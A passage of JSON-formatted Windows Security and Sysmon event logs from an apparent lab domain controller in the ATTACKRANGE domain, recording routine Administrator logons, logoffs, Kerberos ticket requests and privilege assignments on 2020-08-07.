Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x8031f","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222190,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x87CE1\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x87ce1","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222191,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x8005a","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222192,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222193,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222194,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222195,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x87D32\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x87d32","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222196,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x87D32\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x87d32","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222197,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222198,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222199,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222200,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8800B\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x8800b","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222201,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8800B\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8800b","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5639,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 